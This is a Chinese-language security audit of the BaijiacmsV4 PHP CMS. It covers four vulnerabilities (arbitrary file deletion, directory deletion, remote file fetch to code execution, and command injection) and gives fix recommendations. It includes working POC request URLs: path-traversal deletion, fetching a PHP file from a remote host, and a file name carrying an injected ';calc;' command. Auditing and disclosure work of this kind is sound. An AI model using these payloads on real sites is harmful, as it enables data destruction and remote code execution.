baijiacmsV4代码审计
字数 1022 2025-08-03 10:57:26
BaijiacmsV4 代码审计报告
一、系统结构分析
BaijiacmsV4 是一个基于 PHP 开发的 CMS 系统,其代码结构如下:
addons/ # 插件目录
api/ # 接口目录
assets/ # 静态文件
attachment/ # 上传目录
cache/ # 缓存目录
config/ # 系统配置文件
include/ # 系统文件
system/ # 后端代码(核心部分)
系统可分为两大模块:
- system 核心系统
- eshop 电商模块
二、漏洞分析
1. 任意文件删除漏洞(无需管理员权限)
漏洞文件:/system/eshop/core/mobile/util/uploader.php
漏洞分析:
$operation和$file参数完全可控- 直接调用
file_delete()函数进行文件删除 $settings返回为空,缺乏有效验证
POC:
/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../flag.txt
调试过程:
- 直接跳过验证流程
- 可删除任意文件(如 flag.txt)
2. 任意路径删除漏洞(需后台权限)
漏洞文件:system/manager/class/web/database.php
漏洞分析:
- 仅简单判断目录是否存在
- 无其他验证直接删除目录
POC:
/index.php?mod=site&act=manager&do=database&op=delete&id=Li8uLi8uLi90ZXRl
3. 后台远程代码执行漏洞
漏洞文件:/system/public/class/web/file.php
漏洞分析:
- 通过
fetch操作从远程 URL 下载文件 - 无有效验证直接写入本地
POC:
/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx.xxxx.xxxx/aaa/1.php
4. 命令注入漏洞(RCE)
漏洞文件:/system/weixin/class/web/setting.php
漏洞分析:
$file_full_path直接传入system函数- 可通过构造文件名实现命令注入
- 需要先设置缩放参数
image_compress_openscale
POC:
convert -quality 80 D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt # D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt #
调试过程:
- 成功执行系统命令(如弹出计算器)
- 通过添加
$a!变量可清晰观察执行过程
三、漏洞修复建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 实现白名单机制限制可操作的文件路径
-
权限控制:
- 加强后台操作的身份验证
- 实现最小权限原则
-
安全函数使用:
- 替换直接使用
system()等危险函数 - 使用
escapeshellarg()等函数处理命令参数
- 替换直接使用
-
日志审计:
- 记录所有文件操作和系统命令执行
- 实现操作回滚机制
四、总结
BaijiacmsV4 存在多处高危漏洞,主要问题包括:
- 缺乏输入验证导致文件操作漏洞
- 危险函数直接使用导致命令注入
- 权限控制不严格导致越权操作
建议开发者全面审查代码,按照安全开发规范进行重构,特别是对用户输入的处理和危险函数的使用。